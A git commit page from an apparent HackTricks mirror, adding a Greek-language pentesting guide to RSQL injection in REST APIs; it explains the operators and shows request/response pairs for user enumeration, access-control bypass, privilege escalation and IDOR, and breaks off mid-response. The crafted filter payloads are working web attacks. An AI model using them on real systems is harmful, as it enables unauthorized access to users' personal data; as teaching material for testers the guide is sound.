mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/rsql-injection.md'] to el
This commit is contained in:
parent
b0cede7873
commit
6667173ff8
576
src/pentesting-web/rsql-injection.md
Normal file
576
src/pentesting-web/rsql-injection.md
Normal file
@ -0,0 +1,576 @@
|
||||
# RSQL Injection
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
## Τι είναι το RSQL;
|
||||
Το RSQL είναι μια γλώσσα ερωτημάτων σχεδιασμένη για παραμετροποιημένο φιλτράρισμα εισροών σε RESTful APIs. Βασισμένο στο FIQL (Feed Item Query Language), που αρχικά καθορίστηκε από τον Mark Nottingham για την αναζήτηση Atom feeds, το RSQL ξεχωρίζει για την απλότητά του και την ικανότητά του να εκφράζει σύνθετα ερωτήματα με συμπαγή και συμβατό τρόπο με URI μέσω HTTP. Αυτό το καθιστά εξαιρετική επιλογή ως γενική γλώσσα ερωτημάτων για την αναζήτηση σημείων REST.
|
||||
|
||||
## Επισκόπηση
|
||||
Η RSQL Injection είναι μια ευπάθεια σε διαδικτυακές εφαρμογές που χρησιμοποιούν το RSQL ως γλώσσα ερωτημάτων σε RESTful APIs. Παρόμοια με το [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) και το [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), αυτή η ευπάθεια συμβαίνει όταν τα φίλτρα RSQL δεν είναι σωστά καθαρισμένα, επιτρέποντας σε έναν επιτιθέμενο να εισάγει κακόβουλα ερωτήματα για να αποκτήσει, να τροποποιήσει ή να διαγράψει δεδομένα χωρίς εξουσιοδότηση.
|
||||
|
||||
## Πώς λειτουργεί;
|
||||
Το RSQL σας επιτρέπει να δημιουργείτε προηγμένα ερωτήματα σε RESTful APIs, για παράδειγμα:
|
||||
```bash
|
||||
/products?filter=price>100;category==electronics
|
||||
```
|
||||
Αυτό μεταφράζεται σε μια δομημένη ερώτηση που φιλτράρει προϊόντα με τιμή μεγαλύτερη από 100 και κατηγορία “ηλεκτρονικά”.
|
||||
|
||||
Εάν η εφαρμογή δεν επικυρώνει σωστά την είσοδο του χρήστη, ένας επιτιθέμενος θα μπορούσε να χειριστεί το φίλτρο για να εκτελέσει απροσδόκητες ερωτήσεις, όπως:
|
||||
```bash
|
||||
/products?filter=id=in=(1,2,3);delete_all==true
|
||||
```
|
||||
Ή ακόμα και να εκμεταλλευτείτε για να εξαγάγετε ευαίσθητες πληροφορίες με Boolean queries ή nested subqueries.
|
||||
|
||||
## Κίνδυνοι
|
||||
- **Έκθεση ευαίσθητων δεδομένων:** Ένας επιτιθέμενος μπορεί να ανακτήσει πληροφορίες που δεν θα έπρεπε να είναι προσβάσιμες.
|
||||
- **Τροποποίηση ή διαγραφή δεδομένων:** Εισαγωγή φίλτρων που αλλοιώνουν τις εγγραφές της βάσης δεδομένων.
|
||||
- **Αύξηση προνομίων:** Χειρισμός αναγνωριστικών που παρέχουν ρόλους μέσω φίλτρων για να παραπλανήσουν την εφαρμογή αποκτώντας πρόσβαση με προνόμια άλλων χρηστών.
|
||||
- **Αποφυγή ελέγχων πρόσβασης:** Χειρισμός φίλτρων για πρόσβαση σε περιορισμένα δεδομένα.
|
||||
- **Ψευδώνυμο ή IDOR:** Τροποποίηση αναγνωριστικών μεταξύ χρηστών μέσω φίλτρων που επιτρέπουν πρόσβαση σε πληροφορίες και πόρους άλλων χρηστών χωρίς να είναι σωστά πιστοποιημένοι ως τέτοιοι.
|
||||
|
||||
## Υποστηριζόμενοι RSQL τελεστές
|
||||
| Τελεστής | Περιγραφή | Παράδειγμα |
|
||||
|:----: |:----: |:------------------:|
|
||||
| `;` / `and` | Λογικός **AND** τελεστής. Φιλτράρει γραμμές όπου *και οι δύο* συνθήκες είναι *αληθείς* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
|
||||
| `,` / `or` | Λογικός **OR** τελεστής. Φιλτράρει γραμμές όπου *τουλάχιστον μία* συνθήκη είναι *αληθής*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
|
||||
| `==` | Εκτελεί ένα **equals** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι ακριβώς ίσες με *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
|
||||
| `=q=` | Εκτελεί ένα **search** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* περιέχουν *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
|
||||
| `=like=` | Εκτελεί ένα **like** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι παρόμοιες με *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
|
||||
| `=in=` | Εκτελεί ένα **in** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου το *columnA* περιέχει *valueA* Ή *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
|
||||
| `=out=` | Εκτελεί ένα **exclude** query. Επιστρέφει όλες τις γραμμές του *myTable* όπου οι τιμές στο *columnA* δεν είναι ούτε *valueA* ούτε *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
||||
| `!=` | Εκτελεί ένα *not equals* query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* δεν είναι ίσες με *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
|
||||
| `=notlike=` | Εκτελεί ένα **not like** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* δεν είναι παρόμοιες με *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
||||
| `<` & `=lt=` | Εκτελεί ένα **lesser than** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι μικρότερες από *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||||
| `=le=` & `<=` | Εκτελεί ένα **lesser than** ή **equal to** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι μικρότερες ή ίσες με *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
||||
| `>` & `=gt=` | Εκτελεί ένα **greater than** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι μεγαλύτερες από *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||||
| `>=` & `=ge=` | Εκτελεί ένα **equal** to ή **greater than** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι ίσες ή μεγαλύτερες από *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
||||
| `=rng=` | Εκτελεί ένα **from to** query. Επιστρέφει όλες τις γραμμές από *myTable* όπου οι τιμές στο *columnA* είναι ίσες ή μεγαλύτερες από το *fromValue*, και μικρότερες ή ίσες με το *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
||||
|
||||
**Σημείωση**: Ο πίνακας βασίζεται σε πληροφορίες από [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) και [**rsql-parser**](https://github.com/jirutka/rsql-parser) εφαρμογές.
|
||||
|
||||
#### Παραδείγματα
|
||||
- name=="Kill Bill";year=gt=2003
|
||||
- name=="Kill Bill" and year>2003
|
||||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
||||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
||||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
||||
- director.lastName==Nolan and year>=2000 and year<2010
|
||||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
||||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
||||
|
||||
**Σημείωση**: Ο πίνακας βασίζεται σε πληροφορίες από [**rsql-parser**](https://github.com/jirutka/rsql-parser) εφαρμογή.
|
||||
|
||||
## Κοινά φίλτρα
|
||||
Αυτά τα φίλτρα βοηθούν στην εξειδίκευση των queries σε APIs:
|
||||
|
||||
| Φίλτρο | Περιγραφή | Παράδειγμα |
|
||||
|--------|------------|---------|
|
||||
| `filter[users]` | Φιλτράρει τα αποτελέσματα κατά συγκεκριμένους χρήστες | `/api/v2/myTable?filter[users]=123` |
|
||||
| `filter[status]` | Φιλτράρει κατά κατάσταση (ενεργό/ανενεργό, ολοκληρωμένο, κ.λπ.) | `/api/v2/orders?filter[status]=active` |
|
||||
| `filter[date]` | Φιλτράρει τα αποτελέσματα εντός ενός εύρους ημερομηνιών | `/api/v2/logs?filter[date]=gte:2024-01-01` |
|
||||
| `filter[category]` | Φιλτράρει κατά κατηγορία ή τύπο πόρου | `/api/v2/products?filter[category]=electronics` |
|
||||
| `filter[id]` | Φιλτράρει κατά μοναδικό αναγνωριστικό | `/api/v2/posts?filter[id]=42` |
|
||||
|
||||
## Κοινές παράμετροι
|
||||
Αυτές οι παράμετροι βοηθούν στη βελτιστοποίηση των απαντήσεων API:
|
||||
|
||||
| Παράμετρος | Περιγραφή | Παράδειγμα |
|
||||
|-----------|------------|---------|
|
||||
| `include` | Συμπεριλαμβάνει σχετικούς πόρους στην απάντηση | `/api/v2/orders?include=customer,items` |
|
||||
| `sort` | Ταξινομεί τα αποτελέσματα σε αύξουσα ή φθίνουσα σειρά | `/api/v2/users?sort=-created_at` |
|
||||
| `page[size]` | Ελέγχει τον αριθμό των αποτελεσμάτων ανά σελίδα | `/api/v2/products?page[size]=10` |
|
||||
| `page[number]` | Προσδιορίζει τον αριθμό της σελίδας | `/api/v2/products?page[number]=2` |
|
||||
| `fields[resource]` | Ορίζει ποια πεδία θα επιστραφούν στην απάντηση | `/api/v2/users?fields[users]=id,name,email` |
|
||||
| `search` | Εκτελεί μια πιο ευέλικτη αναζήτηση | `/api/v2/posts?search=technology` |
|
||||
|
||||
## Διαρροή πληροφοριών και αρίθμηση χρηστών
|
||||
Το παρακάτω αίτημα δείχνει ένα endpoint εγγραφής που απαιτεί την παράμετρο email για να ελέγξει αν υπάρχει οποιοσδήποτε χρήστης εγγεγραμμένος με αυτό το email και να επιστρέψει αληθές ή ψευδές ανάλογα με το αν υπάρχει ή όχι στη βάση δεδομένων:
|
||||
### Αίτημα
|
||||
```
|
||||
GET /api/registrations HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 400
|
||||
Date: Sat, 22 Mar 2025 14:47:14 GMT
|
||||
Content-Type: application/vnd.api+json
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
Content-Length: 85
|
||||
|
||||
{
|
||||
"errors": [{
|
||||
"code": "BLANK",
|
||||
"detail": "Missing required param: email",
|
||||
"status": "400"
|
||||
}]
|
||||
}
|
||||
```
|
||||
Αν και αναμένεται ένα `/api/registrations?email=<emailAccount>`, είναι δυνατόν να χρησιμοποιηθούν φίλτρα RSQL για να προσπαθήσουν να καταγράψουν και/ή να εξάγουν πληροφορίες χρηστών μέσω της χρήσης ειδικών τελεστών:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://locahost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://locahost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:09:38 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 38
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": {
|
||||
"attributes": {
|
||||
"tenants": []
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Σε περίπτωση που ταιριάζει ένας έγκυρος λογαριασμός email, η εφαρμογή θα επιστρέψει τις πληροφορίες του χρήστη αντί για ένα κλασικό *“true”*, *"1"* ή οτιδήποτε άλλο στην απάντηση προς τον διακομιστή:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:19:46 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 293
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": {
|
||||
"id": "********************",
|
||||
"type": "UserAccountDTO",
|
||||
"attributes": {
|
||||
"id": "********************",
|
||||
"type": "UserAccountDTO",
|
||||
"email": "manuel**********@domain.local",
|
||||
"sub": "*********************",
|
||||
"status": "ACTIVE",
|
||||
"tenants": [{
|
||||
"id": "1"
|
||||
}]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Εξαπάτηση εξουσιοδότησης
|
||||
Σε αυτό το σενάριο, ξεκινάμε από έναν χρήστη με βασικό ρόλο και στον οποίο δεν έχουμε προνομιακές άδειες (π.χ. διαχειριστής) για να αποκτήσουμε πρόσβαση στη λίστα όλων των χρηστών που είναι εγγεγραμμένοι στη βάση δεδομένων:
|
||||
### Αίτημα
|
||||
```
|
||||
GET /api/users HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb.................
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 403
|
||||
Date: Sat, 22 Mar 2025 14:40:07 GMT
|
||||
Content-Length: 0
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
```
|
||||
Και πάλι χρησιμοποιούμε τα φίλτρα και τους ειδικούς τελεστές που θα μας επιτρέψουν μια εναλλακτική μέθοδο για να αποκτήσουμε τις πληροφορίες των χρηστών και να παρακάμψουμε τον έλεγχο πρόσβασης. Για παράδειγμα, φιλτράρουμε τους *χρήστες* που περιέχουν το γράμμα “*a*” στο *ID* χρήστη τους:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb.................
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 1434192
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "********A***********",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": "************",
|
||||
"email": "**********@domain.local",
|
||||
"firstName": "rafael",
|
||||
"surname": "************",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "*********",
|
||||
"taxIdentifier": "********",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-08-09T10:57:41.237Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}, {
|
||||
"id": "*A*******A*****A*******A******",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": ""************",
|
||||
"email": "juan*******@domain.local",
|
||||
"firstName": "juan",
|
||||
"surname": ""************",",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "************",
|
||||
"taxIdentifier": "************",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-07-18T06:07:37.68Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "*******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}, {
|
||||
................
|
||||
```
|
||||
## Privilege Escalation
|
||||
Είναι πολύ πιθανό να βρείτε ορισμένα endpoints που ελέγχουν τα προνόμια του χρήστη μέσω του ρόλου τους. Για παράδειγμα, ασχολούμαστε με έναν χρήστη που δεν έχει προνόμια:
|
||||
### Request
|
||||
```
|
||||
GET /api/companyUsers?include=role HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb......
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 11
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": []
|
||||
}
|
||||
```
|
||||
Χρησιμοποιώντας ορισμένους τελεστές, θα μπορούσαμε να καταγράψουμε τους διαχειριστές χρήστες:
|
||||
### Request
|
||||
```
|
||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJh.....
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 361
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"type": "CompanyUserGetResponseDTO",
|
||||
"attributes": {
|
||||
"companyId": "FA**************",
|
||||
"companyTaxIdentifier": "B999*******",
|
||||
"bizName": "company sl",
|
||||
"email": "jose*******@domain.local",
|
||||
"userRole": {
|
||||
"userRoleId": 1,
|
||||
"userRoleKey": "general.roles.admin"
|
||||
},
|
||||
"companyCountryTranslationKey": "*******",
|
||||
"type": "CompanyUserGetResponseDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
Μετά την γνώση ενός αναγνωριστικού ενός χρήστη διαχειριστή, θα ήταν δυνατό να εκμεταλλευτούμε μια κλιμάκωση προνομίων αντικαθιστώντας ή προσθέτοντας το αντίστοιχο φίλτρο με το αναγνωριστικό του διαχειριστή και αποκτώντας τα ίδια προνόμια:
|
||||
### Request
|
||||
```
|
||||
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ.....
|
||||
Origin: https:/localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https:/localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απόκριση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 68833
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"meta": {
|
||||
"Functionalities": [{
|
||||
"functionalityId": 1,
|
||||
"permissionId": 1,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.userProfile",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 2,
|
||||
"permissionId": 2,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.my_profile",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 3,
|
||||
"permissionId": 3,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "layout.change_user_data",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 4,
|
||||
"permissionId": 4,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.configuration",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
.......
|
||||
```
|
||||
## Υποκατάσταση ή Αναφορές Άμεσων Αντικειμένων χωρίς Ασφάλεια (IDOR)
|
||||
Εκτός από τη χρήση της παραμέτρου `filter`, είναι δυνατή η χρήση άλλων παραμέτρων όπως η `include`, η οποία επιτρέπει την συμπερίληψη ορισμένων παραμέτρων στο αποτέλεσμα (π.χ. γλώσσα, χώρα, κωδικός πρόσβασης...).
|
||||
|
||||
Στο παρακάτω παράδειγμα, εμφανίζεται η πληροφορία του προφίλ του χρήστη μας:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?include=language,country HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ......
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απάντηση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 540
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "D5********************",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": "**********",
|
||||
"email": "domingo....@domain.local",
|
||||
"firstName": "Domingo",
|
||||
"surname": "**********",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "******",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-03-11T07:24:57.627Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"howMeetUs": "**************",
|
||||
"id": "D5********************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
Ο συνδυασμός φίλτρων μπορεί να χρησιμοποιηθεί για να παρακαμφθεί ο έλεγχος εξουσιοδότησης και να αποκτηθεί πρόσβαση σε προφίλ άλλων χρηστών:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ....
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Απάντηση
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 520
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "94******************",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 2,
|
||||
"translationKey": "**************",
|
||||
"email": "jose******@domain.local",
|
||||
"firstName": "jose",
|
||||
"surname": "***************",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "********",
|
||||
